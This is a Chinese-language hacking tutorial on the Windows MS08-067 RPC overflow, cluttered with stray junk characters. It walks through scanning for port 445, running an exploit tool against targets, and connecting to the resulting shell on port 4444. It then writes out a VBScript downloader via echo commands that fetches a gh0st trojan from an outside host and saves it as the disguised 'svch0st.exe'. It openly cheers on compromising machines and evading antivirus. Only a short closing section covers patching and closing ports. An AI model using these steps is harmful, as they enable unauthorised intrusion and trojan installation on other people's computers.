
MS08-067溢出漏洞详解0 B& p' i1 o$ k# D9 B* \
( j5 P- _. e" Y, @利用远程溢出漏洞进行攻击是一种非常有效而且威力巨大的黑客攻击手段,不过远程溢出漏洞有很强的时效性,必须要抓紧时间利用这个漏洞还未被普遍补上的时机进行攻击,一旦过了这段时间,漏洞补上之后就很难再重现远程溢出攻击了。
. R* ~$ g. f7 J2 J
5 r) e4 G9 x4 [% A- O 微软Windows系统已经有一年多没有爆出远程溢出漏洞了,微软爆出四年以来最严重的特大安全漏洞——MS08-067远程溢出漏洞,几乎影响所有Windows系统,并且很快成为黑客攻击和木马传播利用的手段,受此漏洞危害的用户系统将会非常之多!让我们快借此机会玩玩远程溢出吧!学过远程溢出的赶紧进行实践,抓肉鸡一抓就得!
( `* C4 q6 z1 z* x; n6 A3 i1 p8 ?
一、MS08-067远程溢出漏洞简介
7 R+ Y5 W2 K/ F2 m# }$ G- V, X3 Q
曾经的冲击波、震荡波等大规模攻击都是由于Windows的RPC服务漏洞造成的,MS08-067远程溢出漏洞也不例外。MS08-067远程溢出漏洞的原因是由于Windows系统中RPC存在缺陷造成的,Windows系统的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞,远程攻击者可以通过发送恶意的RPC请求触发这个溢出,如果受影响的系统收到了特制伪造的RPC请求,可能允许远程执行代码,导致完全入侵用户系统,以SYSTEM权限执行任意指令并获取数据,并获取对该系统的控制权,造成系统失窃及系统崩溃等严重问题。
! u4 S7 V. Y6 H. I6 K7 I: g6 ]
( T) @. |3 Y5 L7 w" k: e2 z 受MS08-067远程溢出漏洞影响的系统非常多,受影响的操作系统有Windows XP /2000/Vista/2003等。除Windows Server 2008 Core外,基本上所有的Windows系统都会遭受此漏洞的攻击,特别是在Windows 2000、Windows XP和Windows Server 2003系统,攻击者可以利用此漏洞无需通过认证运行任意代码。这个漏洞还可能被蠕虫利用,此安全漏洞可以通过恶意构造的网络包直接发起攻击,并且攻击者可以获取完整权限,因此该漏洞很可能会被用于制作蠕虫以进行大规模的攻击。
* G7 R2 Z: C5 r" j& i二、漏洞主机扫描# \8 H. J- B) Y2 {" C% t+ i
$ D1 K' C7 F$ R& i
在利用MS08-067远程溢出漏洞进行攻击前,首先要找到要攻击的主机目标。由于启用了RPC服务的Windows系统往往会开放445端口,因此攻击者只要使用专业端口扫描工具扫描445端口,即可获取可溢出的主机列表。这里使用的是老牌扫描工具——图标是一个瑞士军刀的X-Scan。/ \: [# H5 f9 |- ?/ W+ ]! I
* G) S9 c# v! `9 M 1.扫描设置
3 \( ^: u" N/ i
% [1 E& D h4 t 步骤1:运行X-Scan后,首先需要设置扫描的目标IP地址段。点击工具栏上的“扫描参数”按钮,选择“检测范围”选项,在“指定IP范围”里可以输入一个固定的IP地址或IP地址段。( Z7 `. G6 j; S9 L
3 k/ f1 v! C2 Q 步骤2:切换到“全局设置”→“扫描模块”选项,设置扫描模块为“开放服务”。) ^$ _6 N- o8 _
1 E- O8 K/ f1 X% K. {+ N
步骤3:在“插件设置”→“端口相关设置”中,将待检测的端口改为“445”。 ^0 S# o. e9 P6 K
4 i/ Z" K. P# B5 r; }
步骤4:在“全局设置”→“其它设置”中,将扫描类型设置为“无条件扫描”。( o0 U; a. b H* f4 Z! Y3 @
6 w1 H" V! v* H3 W' T 步骤5:最后在“全局设置”→“扫描报告”中勾选“扫描完成后自动生成并显示报告”项,设置完毕后点击确定按钮,关闭对话框。4 U# N6 \: a6 n6 r; q1 i5 Y
0 Z$ n" b! z+ M0 `! s3 d. c5 r4 Z* t5 u5 I
步骤6:点击工具栏上的“开始扫描”按钮,X-scan就开始工作了。确定后,即可开始进行扫描。扫描结束后,会自动弹出一个扫描结果窗口查看到扫描结果。如果发现开放了445端口的主机,那么这些主机只要未及时打上补丁,都很可能遭受攻击成为入侵者的肉鸡!0 v$ b: l# x/ s ~6 _0 b6 P+ G
三、MS08-067溢出工具溢出攻击1 P# ]7 Y8 A$ h& [8 v! [
3 [+ s6 S, |* A+ H v1 v! U6 s 现在我们可以一个一个的尝试溢出攻击扫描出来的目标了。首先,下载溢出攻击工具“MS08-067远程溢出漏洞利用工具”,并将其解压于C盘根目录下。点击“开始”菜单→“运行”,输入命令“CMD”,回车后打开命令提示符窗口。进入溢出工具所有的文件夹“Release”目录下,执行命令“MS08-067.exe”,可看到溢出工具命令使用格式为: MS08-067.exe <Server>,将其中的Server换为自己要攻击的远程主机就可以了。; E6 B/ p" l" J A; B% [
5 T( k5 j$ j$ M9 c- R% t 1.建立空连接* i# ?: A7 a2 P! Q2 K
5 w5 b" g% ]' S 在攻击前,首先要与目标主机建立一个空连接,这里假设我们要攻击的目标主机为“192.168.1.8”,可执行如下命令:6 y% |! L; ?3 N) E3 ] z, q
, L( g9 U( ^" J% ?
net use \192.168.1.9ipc$
: K4 l4 ^( ?" M$ ?/ `
7 {4 |. V+ D3 E3 A. k3 w- x 命令执行后,即可与远程主机建立一个空连接。
+ c6 W G* G/ @7 H1 V1 _" x `( j8 `
B+ \; _: V5 _% r 提示:7 N- d! s! v$ B6 e) i
- C" @$ c2 X; b6 i1 X
这一步不是必须的,如果有的主机无法溢出成功,可以先进行空连接。而有的主机则不必建立空连接,即可进行溢出。* r6 g- I' d+ q
8 L6 \3 a2 _# \ l 2.执行远程溢出
. s2 @. X, D- a1 ^$ R" L* g7 a. [5 i r2 |+ w: F! b# p% r
建立空连接后,即可进行溢出攻击了。攻击命令如下:8 ~& k) d6 B: o
- |3 r# M% ^: N1 z
MS08-067.exe 192.168.1.9' w. Z2 {) ?, g1 d' S; ~, a# `
. T6 m/ C# f$ C0 w7 U
执行攻击命令后,溢出程序就会自动与远程主机建立SMB连接,并进行溢出攻击。+ }2 `# L5 N8 N+ \- s8 i, K+ K
8 n$ Q" A, `) d. i4 j
3.溢出返回结果
0 k: U) x6 O; k; X# J( Y- v: c
H3 N, B4 r# \- X; Y! ~ 溢出攻击后,往往会有不同的返回结果提示信息,一般有三种情况:% }) ]: b) U! B. |& ?7 m" j3 }
/ J7 g" ^3 {3 w" U$ K0 J0 r9 h* `
如果返回的信息为:
8 I0 k7 I# D' y1 Y9 q/ Z. u6 k4 c8 O7 w$ I
SMB Connect OK!
9 k- [2 m, v$ i) L4 a: LMaybe Patched!6 v, k' p% S: F7 n8 O
. G2 d3 ~5 C( G% L
那么说明远程主机上可能已经打上了该溢出漏洞补丁,虽然可以建立SMB连接,但是无法攻击成功。3 f( X: A% o# H
8 w9 o8 h9 {% r% i9 D' y 如果返回信息为:Make SMB Connection error:53或者Make SMB Connection error:1219,后面的数字可能是变化的。那么说明该主机没有开机连网或者没有安装 Microsoft 网络的文件和打印机共享协议 或没有启动Server服务,因此无法进行溢出。
4 | ]- L! L5 {' {& o2 m. r1 w7 E. p3 G9 {
还有一种情况是返回信息为:/ ~* X& O2 O" K' M6 p$ T2 r
/ r" f7 D7 [+ i' x4 R% |
SMB Connect OK!
5 p& d* r) h0 C$ HRpcExceptionCode() = 17226 L5 U9 `+ F3 Y& N. ?; Q; j
, k K* k$ H( `4 }' {$ {' }
出现这样的情况,溢出失败,对方开启了防火墙。
! S. n) C+ A6 c" R
- v P$ S: l$ m: X 那么最后就是成功的提示信息了:
4 z2 U- o" u2 {; T1 n0 T9 y( u, H1 m, O2 V# r
SMB Connect OK!
1 {* ~9 ^. w! f0 E0 l# MSend Payload Over!" h9 d9 o4 e- v: D
3 [0 k4 Q# o: T6 h+ g3 B) \
出现这样的提示,说明溢出成功,成功的发送溢出模块并绑定在了远程主机端口上。
# j$ E% Z+ {" S- |- ~1 F- t- t
1 M2 }& Y+ W' G- m0 c 4.远程登录# P' {8 J! k$ A }' ~
- N9 f4 T$ V% @2 I 现在溢出成功后就可以远程登录了,登录命令很简单:
7 t7 ` Y+ X1 }* O4 N9 w. H* P; u& y0 R5 W( H9 p8 l8 c& q3 f
Tlenet IP地址 4444# J$ G! S* U; d1 F5 q( t7 A" Y
i. @' x1 F, ?) {+ @' { 直接用Telnet连接远程主机IP地址的4444端口就可以了。这里执行了命令:
+ z% u5 R" Z* ^( y$ l1 l0 L: Z( B: ?" ]6 ] H- T* \, E
Telnet 119.1.41.97 44448 j6 O& M3 Y! u; S
* R" E1 z/ S- T* k- [- e
成功的连接上了远程主机。在远程主机上执行命令“netstat -an”时,可以看到开放了4444端口,这就是溢出打开的端口。- Q/ R' B5 C4 k. C1 ?! {
四、VBS脚本入侵 ^( L# _. ]$ n2 s$ d& ?
$ ?3 P: o' z( K9 j3 k 现在我们可以在远程主机上任意添加管理员帐户,或者开启3389远程桌面进行连接。不过最简单的还是用木马来进行攻击。
1 ~$ ^) U. ~6 g- G" l0 x* r$ q) [# b" R. k d: y k
1.配置木马
, [: E+ r; b4 P, N
1 p3 S: ~; q* w1 M0 c# V: _ 首先,配置一个木马服务端程序,这里我选择了“gh0st 3.6”,这个木马可以过瑞星和卡巴斯基的主动防御,非常强!将木马上传到某个空间中,然后在远程主机上执行命令:“tasklist”,命令执行后可查看远程主机上的所有进程。这里我们发现远程主机未开启任何防火墙和杀毒软件,而且发现对方正在玩QQ游戏斗地主。没有运行杀毒软件的话,可以直接上传木马,连免杀都不用。如果发现杀毒软件进程的话,可以有针对性的进行免杀。) ?. W* t' O4 l6 V" N2 \
1 G4 z$ o6 r2 }- r* |2 d
2.生成下载脚本& t, s# k( S% P
5 W& K. Y8 T6 x5 e; N1 ?3 B
然后在远程命令窗口中执行如下命令:9 ^. F# t6 R( y
1 Q3 K$ ^6 J N! Zecho iLocal = LCase(WScript.Arguments(1)) >iget.vbe
/ D+ G6 y; Q( ?, m _echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe/ t' q2 T" }! b: w- W( y" V
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe* E3 ~) x; K L2 b
echo xPost.Open "GET",iRemote,0 >>iget.vbe
1 q, S/ I" }2 s$ E) Qecho xPost.Send() >>iget.vbe1 ^6 D1 ~5 G, F6 @9 u& j2 |# v' i5 v
echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe+ q: Y3 Z. m$ S3 `- V4 ~
echo sGet.Mode = 3 >>iget.vbe
( ?5 N1 i Z. {1 F5 wecho sGet.Type = 1 >>iget.vbe- A! e# u @& D4 S4 I4 X& ]
echo sGet.Open() >>iget.vbe6 u2 n% V o2 [
echo sGet.Write(xPost.responseBody) >>iget.vbe
' L" A. n! i0 lecho sGet.SaveToFile iLocal,2 >>iget.vbe
0 M" E P0 ?/ ]" c" [
% t0 K9 w; V1 E) P 命令执行后,可在远程主机当前目录下生成一个名为“iget.vbe”的脚本文件。
6 |7 R. n+ K/ B* j: g9 W3 K0 e- [' g" |) X9 W+ {
在远程窗口中执行生成脚本和下载木马并运行时,速度一定要快,否则如果对方关机或者出现什么意外断开连接时,就无法再次连接了。因为这个漏洞只能溢出一次,而且溢出后只能连接一次。% p0 j p4 D' K1 b9 @
' A' v2 [% i/ Y: a 3.下载运行木马6 l; J1 c8 }; } U2 R
Z$ n3 _. ?3 g, Q9 h
生成下载脚本后,就可以用脚本下载运行木马程序了,这里我们上传的木马连接地址为“http://xiaopuma.gicp.net:81/server.exe”,因此执行如下命令:
9 _; c9 @4 c" G- J8 B
) E) ?+ ~0 b+ V1 pcscript iget.vbe http://xiaopuma.gicp.net:81/server.exe svch0st.exe
3 M, @) T: `+ V3 D9 k4 _1 f4 `5 K! W( v; U
前面的“cscript”是用于执行脚本的,后面的“svch0st.exe”是下载木马后保存的文件名。命令执行后,木马就被下载到远程主机上了。在命令行窗口中执行“svch0st.exe”,即可成功运行木马程序。" t' n8 f9 P0 s4 ?* m
( ]: w. i1 }; y2 g2 e ~- t, J3 K$ P 用木马客户端连接木马,一台肉鸡就到手啦!笔者在测试过程中,发现MS08-067远程溢出成功率可达30%以上。一般来说,只要远程主机上未安装防火墙,并且同时开启了Computer Browser、Server、Workstation这三个系统服务,并且存在此溢出漏洞,通常都可以溢出成功。
6 Q3 @" ~2 Z, r. F. [) b2 {/ d
五、防范MS08-067远程溢出6 P5 _# D7 o: B# P
7 A6 b$ g; {$ M' ? 由于MS08-067远程溢出危害非常大,因此有必要对其进行防范。但是由于前段时间的微软“黑屏”事件让不少用户成了关闭了自动更新,宁可系统漏洞百出也不去打补丁,于是此漏洞在许多主机上都存在,给黑客利用MS08-067漏洞进行攻击提供了可乘之机。其实造成盗版用户黑屏的补丁是KB892130,这个漏洞的安全补丁编号是KB958644,我们只要安装此补丁就可以了,也可以通过第三方工具,下载补丁包打上该补丁。
9 S( w2 e* W6 Q4 i) H8 r
M1 W' {* \0 X% t* O 另外,将Computer Browser、Server、Workstation这三个系统服务关闭,毕竟这三个服务在大多数情况下是用不到的。同时,为了防止以后RPC又出现什么漏洞,最好是安装防火墙,关闭本机的445端口。# C: ]$ y5 Q ?
|
|